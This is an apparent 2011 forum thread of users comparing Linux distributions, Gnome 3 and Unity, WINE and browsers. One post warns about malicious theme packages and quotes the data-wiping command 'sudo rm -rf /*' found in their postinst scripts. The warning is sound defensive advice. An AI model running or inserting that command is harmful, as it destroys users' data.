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Old 29-05-2011, 15:32
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Rather than start a new thread for every version of Linux I thought I'd start a general Linux thread.

I've been trying out Fedora 15 which is the first distro to use Gnome 3. I've read through the reviews and it seems Gnome 3 is causing as much fuss as Ubuntu's Unity.

First things first, Fedora 15 found all my hardware on my laptop and I was lucky to have Gnome 3 actually work (I seem to be in the minority as loads can't get it to work on their hardware). It's a strange experience, as there is no desktop as we know it on Fedora 15. Each application when opened goes to a new workspace and I found it really confusing.

There is no minimise option at all, you either have a window open or you don't. And as for customising your desktop, there is no optionn for this either. I don't know if people will "get" Gnome 3 in it's present form, Unity is much more friendly, even if you didn't like it.

Another distro worth getting is Mepis 11, lovely looking and easy to use and set-up. It's a nice change from Ubuntu or Mint and seems to be much faster too.

Please share your thoughts or comments on any distros you've tried or use.

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Old 29-05-2011, 17:00
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To be honest it seems very much that Gnome 3 has been received much better than Unity. It isn't that surprising to me, as I feel Gnome 3 is just easier all round than Unity and nicer to use, though obviously some don't like it. I reckon that though both are designed for tablets and smaller screens generally, Gnome 3 still works great on large screen desktops where Unity can feel cramped and out of place. I do hope Ubuntu pulls it back a bit, but I suspect that when I do try Ubuntu again I'll be using Gnome 3 rather than Unity.

The whole button issue continues to cause storms, but I just don't get it. Anyone who spends a bit of time with Gnome 3 will soon understand the workings. It doesn't make sense to have a ton of buttons when you don't navigate the way you used to. It's not hard, in fact I think it's much quicker now. It didn't take me long to get used to it, and if I can do it anyone can.

Anyway, I'm running it on openSUSE and it's very very nice. openSUSE has proved a real welcome change for me from Ubuntu, though I do still love the 'bunt.

The other day I installed Peppermint Ice OS on our Eee PC 701 4G, and it's totally brilliant. Much quicker than anything I've ever put on it, and highly recommended.
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Old 29-05-2011, 17:29
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Any distro's I can get which have Gnome Shell and is not Fedora 15 or OpenSUSE? I don't mind mucking around in terminal, I find it fun, so as long as the distro can get Gnome Shell, is not OpenSUSE or Fedora 15 then I'll be okay with it.

The reason I don't want either of them is because of driver support for my wireless card. It seems only Ubuntu repositories seem to have the right one even though I'm sure Broadcom has made the driver open sourced.

So yeah... Any ideas on a nice looking distro suitable for a small screen? (1024 x 600)
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Old 29-05-2011, 17:34
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I like CentOS on servers. It is created from the open souce sources of Red Hat Enterprise Linux, so you can stick on the same version for a long time, plus you can persuade commercial applications which only work on certain distros to work on it.
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Old 29-05-2011, 18:15
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Well, after years of using Windows, last weekend my netbook was wiped out by a virus. Almost in a fit of pique I installed Ubuntu 11.04 and, to be honest, I am completely stunned.

It just works straight off the usb stick. Hardware drivers, network connections to the rest of my (Windows) network, everything.

Even more of a surprise the GUI is beautiful and intuitive. No steep learning curve and endless messing about in a terminal emulator.

About 12 years ago I installed a Red Hat distribution on a spare PC and quickly lost the will to live. Linux really has come a long way.

If Linux works on all PCs, like it does on my netbook, I really can't see me installing Windows on anything ever again.
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Old 29-05-2011, 18:30
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Well, after years of using Windows, last weekend my netbook was wiped out by a virus. Almost in a fit of pique I installed Ubuntu 11.04 and, to be honest, I am completely stunned.

It just works straight off the usb stick. Hardware drivers, network connections to the rest of my (Windows) network, everything.

Even more of a surprise the GUI is beautiful and intuitive. No steep learning curve and endless messing about in a terminal emulator.

About 12 years ago I installed a Red Hat distribution on a spare PC and quickly lost the will to live. Linux really has come a long way.

If Linux works on all PCs, like it does on my netbook, I really can't see me installing Windows on anything ever again.
Glad you are impressed, Ubuntu "just works" as I like to say, it's my most used Linux and our office PCs have all changed to it in the last few weeks (20+ of them) with no hardware problems at all.

I really like Mepis 11 too, that looks great on a small screen for those who need something on a smaller screen.

I have run OpenSuse on Virtualbox, but I just can't get it to install on any of my PCs for some reason! It's doing my head in as I really like the feel of it!

I'm still trying out Fedora 15 and Gnome 3, and it's nice to see different distros going different ways. Really mixed reviews on it as I said, and my feelings are mixed too. If there was more control over it's looks and themes I could be swayed.

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Old 29-05-2011, 18:32
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Any distro's I can get which have Gnome Shell and is not Fedora 15 or OpenSUSE? I don't mind mucking around in terminal, I find it fun, so as long as the distro can get Gnome Shell, is not OpenSUSE or Fedora 15 then I'll be okay with it.
Well you could always add the Gnome 3 PPA onto 11.04. There's extensive coverage of this on the Ubuntu Forums.

Well, after years of using Windows, last weekend my netbook was wiped out by a virus. Almost in a fit of pique I installed Ubuntu 11.04 and, to be honest, I am completely stunned.

It just works straight off the usb stick. Hardware drivers, network connections to the rest of my (Windows) network, everything.

Even more of a surprise the GUI is beautiful and intuitive. No steep learning curve and endless messing about in a terminal emulator.

About 12 years ago I installed a Red Hat distribution on a spare PC and quickly lost the will to live. Linux really has come a long way.

If Linux works on all PCs, like it does on my netbook, I really can't see me installing Windows on anything ever again.
I've only been using it for about 4-5 years, and even if I take a mental snapshot of the last 2-3 years, say from 2008, it's amazing how much it's changed from then to now.
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Old 29-05-2011, 18:40
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I thought the linux threads were numerous to actually warrant multiple threads in their own right tbh.
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Old 29-05-2011, 19:40
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I thought the linux threads were numerous to actually warrant multiple threads in their own right tbh.
Looking around and there aren't a great deal. One more doesn't hurt. It'll only be me and about three others posting.
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Old 29-05-2011, 19:50
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Looking around and there aren't a great deal. One more doesn't hurt. It'll only be me and about three others posting.
lol, fair enough. and one more certainly doesn't hurt
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Old 29-05-2011, 20:30
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can .mdb (MS Access Database Files) files be opened and edited using Open Office / Libre Office?

That's one of the main things which put me off using Ubuntu, Mint etc. As I am being taught how to use access and how to code in VBA in sixth form. I've attempted to previously open .mdb files using Libre Office Base but it just doesn't work?
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Old 29-05-2011, 20:45
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Tried gnome 3 etc, couldn't take to it.
Had a go with KDE, nice and stable but just didn't do it for me.

After spending time looking at distros, i came across something called E17 whilst looking at Sabayon.

After some looking around, it seems its been about for ages, other distros also use it, but sabayon seem to be getting into it.

Never heard of it until this weekend, that's E17

http://www.youtube.com/watch?v=wIflH...eature=related

http://www.youtube.com/watch?v=yal9RAPjRSs
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Old 29-05-2011, 21:13
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can .mdb (MS Access Database Files) files be opened and edited using Open Office / Libre Office?
This is under continuous development, so whatever you tried might work with a newer version. I think efforts are aimed towards reading the data from .mdb files and not running Access applications.

There are other options. You could try using the Windows version of Access under Linux with Wine. You could also install a whole copy of Windows under Linux using a virtual PC in something like VMware Server or VirtualBox.
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Old 29-05-2011, 21:23
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There are other options. You could try using the Windows version of Access under Linux with Wine. You could also install a whole copy of Windows under Linux using a virtual PC in something like VMware Server or VirtualBox.
WINE is pretty awesome for those wanting to run some Windows programs in their Linux OS. I use it for Spotify and Photofiltre and it works flawlessly. So easy to set up to.

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Old 29-05-2011, 21:45
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This is under continuous development, so whatever you tried might work with a newer version. I think efforts are aimed towards reading the data from .mdb files and not running Access applications.

There are other options. You could try using the Windows version of Access under Linux with Wine. You could also install a whole copy of Windows under Linux using a virtual PC in something like VMware Server or VirtualBox.
I'll most probably go down the WINE route. Thanks Kevin
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Old 29-05-2011, 21:49
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I've just switched over my 2 linux desktops & 1 laptop from Ubuntu 10.10 to Mint 11 which I've found very good . I like the way the grub allow you to tailor the default system as I dual boot. I agree with what has been said about Gnome3 & Ubuntu Unity which I feel is the linux's community's play for the tablet market. That said its only a matter of time before Gnome3 evolves & becomes more versatile until then I'll stick to Mint 11 & continue to try other distros via usb sticks
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Old 29-05-2011, 22:05
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Just found a quick guide that tells you how to change the login background in Gnome 3. It's a Fedora guide, but it worked on my OpenSUSE. Here, if you want it. I was very bored of the default blue stripey Gnome one, so I set the OpenSUSE green stripey wall instead. If you use it remember to use the same syntax at the end, where it says file:///. I thought just putting a path in would be OK, but no it needs this specific syntax to work. 'Tis all good.
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Old 30-05-2011, 15:48
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Just wanted to post up and warn Linux users, especially Ubuntu fans, that there is a spate of nasty people registering with Gnome-Look.org and submitting Gnome themes in .deb packages with malicious commands embedded within them. They remove them as they are reported, but that's no good to anyone who installs one unwittingly before they get to it.

The latest one had the command
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sudo rm -rf /*
embedded in the postinst file, which as most Linux users are aware will wipe your hard drive. This kind of thing doesn't need to come packaged in a .deb and may come in all sorts of scripts to download themes, so please take care what software you install outside of your package manager.
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Old 30-05-2011, 19:01
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Thank you Kal_El, I'll keep an eye out for that.

One question I want to ask Linux users, what Internet Browsers do you use? I'm using Firefox 4 on alll my versions of Linux, it just works much better than the Windows version and is so much faster.

Anyone used Midori? Be interesting to know what people think of that one.

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Old 30-05-2011, 19:20
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I'm first and foremost a Firefox user, but Chrome is really difficult to ignore, especially on Linux where it's much faster than FF. I still prefer Firefox for the extensions and generally friendly nature of it, but as a Linux user I find the fact that they don't offer a lot of their premium developments to us a bit galling, for example hardware accelerated browsing. Hopefully this will change and improve in time though, and to be honest I don't think HW accelerated browsing is that big a deal right now.

Is it...?
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Old 30-05-2011, 19:36
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I've install CrunchBang on an old slow laptop and went for OpenBox window manager. I've never tried XFCE anyone got an opinion as to which is better?
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Old 30-05-2011, 20:07
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I've install CrunchBang on an old slow laptop and went for OpenBox window manager. I've never tried XFCE anyone got an opinion as to which is better?
I think XFCE is generally "better", but it won't be anywhere near as light as OpenBox is. I really like OpenBox. Very nice on low specs. XFCE is not really something I'd class as especially light on low specs, but maybe someone here will correct me on that.
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Old 30-05-2011, 20:53
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I'm first and foremost a Firefox user, but Chrome is really difficult to ignore, especially on Linux where it's much faster than FF.
Yes Chrome works really fast. On a change of subject I noticed this

http://www.geeky-gadgets.com/ubuntu-...ks-11-05-2010/

which shows that unity has been around for netbooks for a while so I'm not sure why the ubuntu developers have taken the whole package in this direction?
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Old 30-05-2011, 23:36
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my Google Earth is running stupidly slow for some reason. not sure whether i'm in Open GL mode or the other one but i can't work out how to change it and can't even find it in the software centre to remove and reinstall.
My graphics arent great and i can't run Unity despite using command lines from another thread and trying to force it to work. In fact the display settings are simply not there. in Usually its under appearance settings but the tab is simply missing. what gives.


ooh running Ubuntu 11.04 here btw
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Old 31-05-2011, 08:52
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WINE is pretty awesome for those wanting to run some Windows programs in their Linux OS. I use it for Spotify and Photofiltre and it works flawlessly. So easy to set up to.

Mark
WINE is very useful but it sometimes produces odd side effects in some programs, e.g. sound comes and goes in some games, applications which work ok but crash if you click on a particular button such as the library in Shareaza.
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